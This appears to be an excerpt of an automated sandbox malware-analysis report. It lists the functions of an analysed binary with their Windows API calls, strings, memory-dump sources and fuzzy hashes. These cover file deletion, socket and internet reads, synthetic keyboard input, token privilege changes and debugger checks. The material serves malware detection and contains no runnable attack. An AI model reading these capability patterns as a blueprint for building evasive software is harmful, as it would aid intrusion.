Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 53f9a02e77945ac70094e2f062c8fbc61480a8da2a3ff6cc275b64eee7c8600e
Instruction ID: bc632d49a6864561bf1d4136d3285093211b28cd03e73c0ed7e9ea0bf3e9c95a
Opcode Fuzzy Hash: 53f9a02e77945ac70094e2f062c8fbc61480a8da2a3ff6cc275b64eee7c8600e
Instruction Fuzzy Hash: DEC12579904209AFFB239F6C8850BEEBBF8EF46210F1441AAD9D4D72C5EB319A41C750

Function 0103D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FD3A97,?,?,00FD2E7F,?,?,?,00000000), ref: 00FD3AC2

Part of subcall function 0103E199: GetFileAttributesW.KERNEL32(?,0103CF95), ref: 0103E19A

FindFirstFileW.KERNEL32(?,?), ref: 0103D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 0103D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 0103D481
FindClose.KERNEL32(00000000), ref: 0103D498
FindClose.KERNEL32(00000000), ref: 0103D4A1

Strings

\*.*, xrefs: 0103D3F2

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 642066ebba6c1707c525a0e53e183fd752b39e0f8f5c97d5435ba314c550e5ce
Instruction ID: f8a2c329f6c347e5d1c3292750eedae073c95b678d16646283525312ea0b205c
Opcode Fuzzy Hash: 642066ebba6c1707c525a0e53e183fd752b39e0f8f5c97d5435ba314c550e5ce
Instruction Fuzzy Hash: 553180710083419BC311EFA4D9918EFB7EDAE91304F884A1EF4D593291EB29AA09D763

Function 0100E4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0100E645

Strings

1#SNAN, xrefs: 0100F844
1#INF, xrefs: 0100F852
1#IND, xrefs: 0100F83D
1#QNAN, xrefs: 0100F84B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 8645c4c026ade8bb86fcab9077ade6cbf3269ae5d4e726b4c2ac3319c353c8fa
Instruction ID: 01aa5b001b67852e293d4770672c739603a912062382d8945df2a8df8f19695e
Opcode Fuzzy Hash: 8645c4c026ade8bb86fcab9077ade6cbf3269ae5d4e726b4c2ac3319c353c8fa
Instruction Fuzzy Hash: 54C25B71E046298FEB76CE28DD407EAB7B5EB44304F1445EAD58DE7281E778AE818F40

Function 0104648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 010464DC
CoInitialize.OLE32(00000000), ref: 01046639
CoCreateInstance.OLE32(0106FCF8,00000000,00000001,0106FB68,?), ref: 01046650
CoUninitialize.OLE32 ref: 010468D4

Strings

.lnk, xrefs: 010464BA, 01046524, 010465E0

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 770ff7b04fa12457afd9275f8d781dc196aa5a72acb6287cc458275b8fb9dd2c
Instruction ID: a3e33251b70a73d90e4e002b2839a3dc012b42eb9f9258247a73c9c30c2a09be
Opcode Fuzzy Hash: 770ff7b04fa12457afd9275f8d781dc196aa5a72acb6287cc458275b8fb9dd2c
Instruction Fuzzy Hash: 7ED16AB1508301AFD310EF24C88196BB7E9FF89704F44496DF5958B2A1EB71E905CBA2

Function 01049B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 01049B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 01049C8B

Part of subcall function 01043874: GetInputState.USER32 ref: 010438CB
Part of subcall function 01043874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 01043966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 01049BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 01049C75

Strings

*.*, xrefs: 01049B5D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: b534d96892717337a7fb92a004027f068efdd58263be26c9114206c85ec17b51
Instruction ID: 3ed46a6230afd2151efb2499bec2f99cb6a902b37ae10ceacc6ebae57e08e29b
Opcode Fuzzy Hash: b534d96892717337a7fb92a004027f068efdd58263be26c9114206c85ec17b51
Instruction Fuzzy Hash: 6741B1B190020E9FDF54DFA4C985AEE7BF8EF09304F1440B6E985A2290EB319E44CF64

Function 00FE997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00FE9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00FE9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00FE9A4E
GetSysColor.USER32(0000000F), ref: 00FE9B23
SetBkColor.GDI32(?,00000000), ref: 00FE9B36

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: c9e7560634d675298f5bb6e60cc5bc140cfc63612620c679b50f42c7da806d23
Instruction ID: 50fe7357a8a512e8e93114149e42e3a1089d47edc89b2529df5cf4f490a4f851
Opcode Fuzzy Hash: c9e7560634d675298f5bb6e60cc5bc140cfc63612620c679b50f42c7da806d23
Instruction Fuzzy Hash: 35A14D7110C5A0BEF7389A3E8C48EBF3A9DEF56714F144119F182C6685CAB98D01E371

Function 01051806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0105304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0105307A
Part of subcall function 0105304E: _wcslen.LIBCMT ref: 0105309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0105185D
WSAGetLastError.WSOCK32 ref: 01051884
bind.WSOCK32(00000000,?,00000010), ref: 010518DB
WSAGetLastError.WSOCK32 ref: 010518E6
closesocket.WSOCK32(00000000), ref: 01051915

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 7fb4898a1d0427d8872c53030e9722397f912825c708b3b8d81768075b5f00c2
Instruction ID: 61f91d1e300eb151520e5d8140a8bcb67db5c724ceb241338f05f4720b2ac74d
Opcode Fuzzy Hash: 7fb4898a1d0427d8872c53030e9722397f912825c708b3b8d81768075b5f00c2
Instruction Fuzzy Hash: 9751B471A00200AFEB20EF24C886F6A77E5AB44718F088099F9459F3C7D779AD41CBE1

Function 0104CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,0104C21E,00000000), ref: 0104CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 0104CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,0104C21E,00000000), ref: 0104CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,0104C21E,00000000), ref: 0104CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,0104C21E,00000000), ref: 0104CFF2

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 9c3b460d3da262e9c34b0a4fd54965ad5b46a7cd94e3dc6180429010c7bcf975
Instruction ID: b086ef5dfcb26dfb66ec7399bad82915cdb9e3a546caa9321f874dd2907b71ea
Opcode Fuzzy Hash: 9c3b460d3da262e9c34b0a4fd54965ad5b46a7cd94e3dc6180429010c7bcf975
Instruction Fuzzy Hash: 53317FB1601205AFFB20DFA9CAC4AAFBBF8EF14210B10447EF586D2101D739AA419B60

Function 01061C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 01061CC0
IsWindowEnabled.USER32 ref: 01061CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 01061CDB
IsIconic.USER32 ref: 01061CE9
IsZoomed.USER32 ref: 01061CF7

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 5c1b6a6aeab21c1764377242e2504abb2d744cdcc8643ca7b308e107e25d870f
Instruction ID: ebf2981708eebd97008696d552f99e13faef89fdffe65a7c345b7ad25a8b491e
Opcode Fuzzy Hash: 5c1b6a6aeab21c1764377242e2504abb2d744cdcc8643ca7b308e107e25d870f
Instruction Fuzzy Hash: E321A3317002055FE7609F1AC844B6E7BE9EFD9325F1980A9E8C6CB355CB76E842CB90

Function 00FD8060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

VUUU, xrefs: 01015DF0
VUUU, xrefs: 00FD843C
VUUU, xrefs: 00FD83E8
VUUU, xrefs: 00FD83FA
ERCP, xrefs: 00FD813C

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 192ba38198a8c9cb1e85ce42f9d698afb3c011f5dee5118c574f066f44e5d7c2
Instruction ID: fd783ea7e3aa4f714c8c15afa0282784ae64bfd26ab31c23cb88333f00fc1a15
Opcode Fuzzy Hash: 192ba38198a8c9cb1e85ce42f9d698afb3c011f5dee5118c574f066f44e5d7c2
Instruction Fuzzy Hash: F2A26071E0021ACBDF25CF58C8407AEB7B2BF44354F28819AE855AB389DB759D82DF50

Function 0103AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A4C0D0,?,00008000), ref: 0103ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 0103AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 0103AC74
SendInput.USER32(00000001,?,0000001C,75A4C0D0,?,00008000), ref: 0103ACC6

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 193165305aa3b43e39188de519a2615257efd2876c212a6602e79eb8c4d7d178
Instruction ID: 9dd1878bdabc5d9ed73ff7b1dc56508a41f4d07f91573ae32e669b6efcb5c30c
Opcode Fuzzy Hash: 193165305aa3b43e39188de519a2615257efd2876c212a6602e79eb8c4d7d178
Instruction Fuzzy Hash: F331E330B2461CEFFB358A6988087FE7AADABC9320F08425AE4C5D71D1C37989858B51

Function 01038298 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 010382AA

Strings

|, xrefs: 010382DA
(, xrefs: 010382F0

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: c0256ac0e6cb935614724e335dae189505b53afd61922f25ec1db30397c59bdf
Instruction ID: 3738ef1e401efcb0a3ce044447e9a183072cdbd71548fd124967628aac65165d
Opcode Fuzzy Hash: c0256ac0e6cb935614724e335dae189505b53afd61922f25ec1db30397c59bdf
Instruction Fuzzy Hash: 21322575A006059FDB28CF69C480A6AB7F5FF88310B15C5AEE59ADB3A1E770E941CB40

Function 01045C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 01045CC1
FindNextFileW.KERNEL32(00000000,?), ref: 01045D17
FindClose.KERNEL32(?), ref: 01045D5F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: c0e4430e114bb9d4849a4ea6fdaaf88d7bedc471930454e2e309d3647dcd3f67
Instruction ID: 449fb7bc8f65adadd29aafe9ee658e15228dae67a86d2c9f4ba653a94ccad7e9
Opcode Fuzzy Hash: c0e4430e114bb9d4849a4ea6fdaaf88d7bedc471930454e2e309d3647dcd3f67
Instruction Fuzzy Hash: F151AD746046019FD724DF28C8D4A9AB7E4FF49314F1485AEE99A8B3A2CB34E905CB91

Function 01002622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0100271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 01002724
UnhandledExceptionFilter.KERNEL32(?), ref: 01002731

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 68c5080cd64def85ba0612e18e2e0994427c7958af4e46bce5ace890e79fdb7b
Instruction ID: e92bec0c1fb3faf21c503902753ac48cea94c07c993f014aafdfa27a68dd1101
Opcode Fuzzy Hash: 68c5080cd64def85ba0612e18e2e0994427c7958af4e46bce5ace890e79fdb7b
Instruction Fuzzy Hash: 9B31D67491122C9BDB61DF68DD887DCBBB8BF08310F5041EAE94CA7261EB749B818F44

Function 010451CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 010451DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 01045238
SetErrorMode.KERNEL32(00000000), ref: 010452A1

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: ec2eae5b0fab865c891787b37efc1c73b83e8fe76f3affd69aca3efbb8fe6423
Instruction ID: 5ed4d6fe5819f208ea5802754aca3d7c655328ab165b85b238b606712e0ee09a
Opcode Fuzzy Hash: ec2eae5b0fab865c891787b37efc1c73b83e8fe76f3affd69aca3efbb8fe6423
Instruction Fuzzy Hash: 18316B75A00109DFDB00DF94D884EADBBB5FF49314F08809AE845AB356DB36E845CBA0

Function 010316C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00FEFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00FF0668
Part of subcall function 00FEFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00FF0685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0103170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0103173A
GetLastError.KERNEL32 ref: 0103174A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: aff83a8f327aed93bcb27f3651f5f8095f854e26ab1ac8b6236af7ab28c6431d
Instruction ID: f964b78c303dbee9335a1beda1e03718c44e122da94b89684b45e6fe405e8af9
Opcode Fuzzy Hash: aff83a8f327aed93bcb27f3651f5f8095f854e26ab1ac8b6236af7ab28c6431d
Instruction Fuzzy Hash: 4211C1B2404305AFE7289F54DC86D6ABBFDFB48754B24852EF09653241EB75BC428B20

Function 0103D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0103D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0103D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0103D650

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 4bd35dd99f60740a3a61c32ba26c9daf40a86caffeb58cbf74624a028db5296f
Instruction ID: 8d801ab79489189a67e4651672e8530663e5453eae8e1d0a26dfcc5e7899954f
Opcode Fuzzy Hash: 4bd35dd99f60740a3a61c32ba26c9daf40a86caffeb58cbf74624a028db5296f
Instruction Fuzzy Hash: 59118E71E01228BFEB208F99DC44FAFBFBCEB89B50F108151F954E7290C2704A058BA1

Function 01031663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0103168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 010316A1
FreeSid.ADVAPI32(?), ref: 010316B1

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
